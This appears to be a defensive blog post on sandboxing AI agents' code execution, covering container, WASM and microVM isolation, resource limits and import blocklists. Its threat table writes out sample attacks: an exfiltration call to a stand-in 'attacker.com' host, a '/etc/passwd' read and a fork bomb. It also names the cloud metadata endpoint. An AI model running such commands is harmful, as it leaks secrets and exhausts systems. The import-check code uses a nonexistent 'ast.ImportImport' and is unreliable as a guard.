Sandboxing Agent Code Execution

AI AgentsLLMSecurityArchitecture
Share on LinkedIn

Every agent with a code execution tool is one prompt injection away from running os.environ on your production server. I've reviewed agent architectures where the "sandbox" was a separate Python subprocess with the same environment variables, same filesystem, and same network access as the API server. That's not a sandbox — that's remote code execution with extra steps. Real sandboxing means the agent's code runs in an environment that cannot reach your secrets, your database, or the internet, no matter what the model writes.

Threat model

Assume the model will eventually generate code that attempts:

Attack Example Mitigation
Data exfiltration requests.post(attacker.com, env=os.environ) No network
Filesystem access open('/etc/passwd') Read-only root, chroot
Resource exhaustion while True: fork() Process limits, CPU/memory caps
Host escape Exploit interpreter bug gVisor/Firecracker, not bare Docker
Side-channel Timing attacks on co-tenants Dedicated microVMs per execution

Design for the worst case. The model isn't malicious — but the documents it reads might be.

Container-based sandbox (production default)

# docker-compose for agent sandbox — illustrative
services:
  agent-sandbox:
    image: agent-python-sandbox:3.11
    read_only: true
    tmpfs:
      - /tmp:size=64M
    network_mode: "none"
    mem_limit: 512m
    cpus: 1.0
    pids_limit: 50
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL

Each execution spins up a fresh container (or microVM), runs code, captures stdout/stderr, destroys the container. No state leaks between executions unless you explicitly mount a session volume.

async def execute_sandboxed(code: str, session_id: str) -> ExecutionResult:
    container = await sandbox_pool.acquire()
    try:
        result = await container.run(
            cmd=["python", "-c", code],
            timeout=30,
            max_output=16_384,
        )
        return ExecutionResult(stdout=result.stdout, stderr=result.stderr, exit_code=result.code)
    finally:
        await sandbox_pool.release(container, destroy=True)

Pool warm containers for latency, but destroy after each execution — pooling across tenants is a data leak vector.

WASM sandbox (fast cold start)

For lightweight data analysis (code REPL tools), WASM offers sub-100ms startup:

WASM sandboxes trade isolation depth for speed. Acceptable for read-only analysis; use containers for anything that processes untrusted file uploads.

Import and API allowlisting

Block dangerous modules at the sandbox level, not in documentation:

BLOCKED_IMPORTS = {"os", "subprocess", "socket", "shutil", "ctypes", "importlib"}

def validate_imports(code: str) -> None:
    tree = ast.parse(code)
    for node in ast.walk(tree):
        if isinstance(node, (ast.Import, ast.ImportImport)):
            for alias in node.names:
                module = alias.name.split(".")[0]
                if module in BLOCKED_IMPORTS:
                    raise SandboxViolation(f"import {module} not allowed")

Also restrict builtins: no eval, exec, compile, __import__. Pyodide and container images should ship with a pre-installed allowlist of libraries rather than pip-install-on-demand.

Network isolation

Default: no network. If your agent needs to fetch public data:

An agent REPL that can reach your internal metadata endpoint (169.254.169.254) is a cloud credential theft waiting to happen.

Observability and audit

Log every execution:

Alert on: execution timeouts, repeated failures from same session, stdout size hitting limits (possible data dump attempt).

Choosing your isolation level

Use case Isolation Startup Cost
Data analysis REPL WASM / Pyodide ~50ms Low
File processing Container (gVisor) ~500ms Medium
Untrusted user code Firecracker microVM ~200ms Medium
Maximum isolation Dedicated VM per run ~2s High

Start with containers. Move to microVMs when you process untrusted uploads or serve multi-tenant agents where side-channel risk matters.

Resource limits

Enforce CPU, memory, and time limits at orchestrator level:

# Kubernetes pod spec for sandbox
resources:
  limits:
    cpu: "1"
    memory: "512Mi"
  requests:
    cpu: "250m"
    memory: "256Mi"
activeDeadlineSeconds: 60

OOM kill is preferable to host memory exhaustion. Set ulimit on max open files and process count inside container.

Multi-tenant isolation

Shared sandbox infrastructure risks cross-tenant leakage:

Verify isolation with escape tests in CI — known CVE patches applied within 24h of disclosure.

Pair with agent code execution REPL for when to offer code execution vs structured tools only.

Common production mistakes

Teams get sandboxing code execution wrong in predictable ways:

Agent systems using sandboxing code execution loop infinitely when tool errors are swallowed, subagent budgets have no hard cap, and human-in-the-loop gates are bypassed under latency pressure.

Debugging and triage workflow

When sandboxing code execution misbehaves in production, work top-down instead of guessing:

  1. Confirm scope — one tenant, region, or deployment stage? Narrow blast radius before deep diving.
  2. Check recent changes — deploys, flag flips, config pushes, and schema migrations in the last 24 hours.
  3. Compare golden signals — latency, error rate, saturation, and traffic for the affected surface vs. baseline.
  4. Reproduce minimally — smallest input or scenario that triggers the failure; capture traces/logs with correlation IDs.
  5. Fix forward or rollback — if rollback is faster than root-cause during incident, rollback first, postmortem second.
  6. Add a guard — alert, integration test, or circuit breaker so the same class of failure is caught earlier next time.

Document the timeline during triage. Future you (and on-call) will need timestamps, not just conclusions.

Resources

Frequently asked questions

Why must agent code execution be sandboxed?

Agent-generated code is untrusted input — the model can be prompt-injected into writing malicious code that exfiltrates data, accesses the filesystem, or attacks network services. Sandboxing confines execution to an isolated environment with no access to production systems, secrets, or the host network.

What is the best sandbox for agent code execution?

For production, use ephemeral containers (Firecracker, gVisor, or Docker with strict seccomp) with no network, read-only root filesystem, and resource limits. WASM sandboxes (Pyodide, Wasmtime) offer faster cold starts for lightweight analysis. Never execute agent code directly on the host or in the same process as your orchestrator.

What resource limits should a code sandbox enforce?

Set limits on CPU time (30s default), memory (256–512MB), disk write (64MB scratch), stdout size (16KB), and process count. Disable network entirely unless the use case requires it — and if it does, route through an allowlisted proxy. Kill the sandbox on any limit breach.

Hiring a senior Android / Flutter engineer?

I architect and ship production mobile software — Kotlin, Jetpack Compose, Flutter — for robotics, EV infrastructure, fintech, and real-time systems. Open to remote roles in Europe and the US.

Get in touch →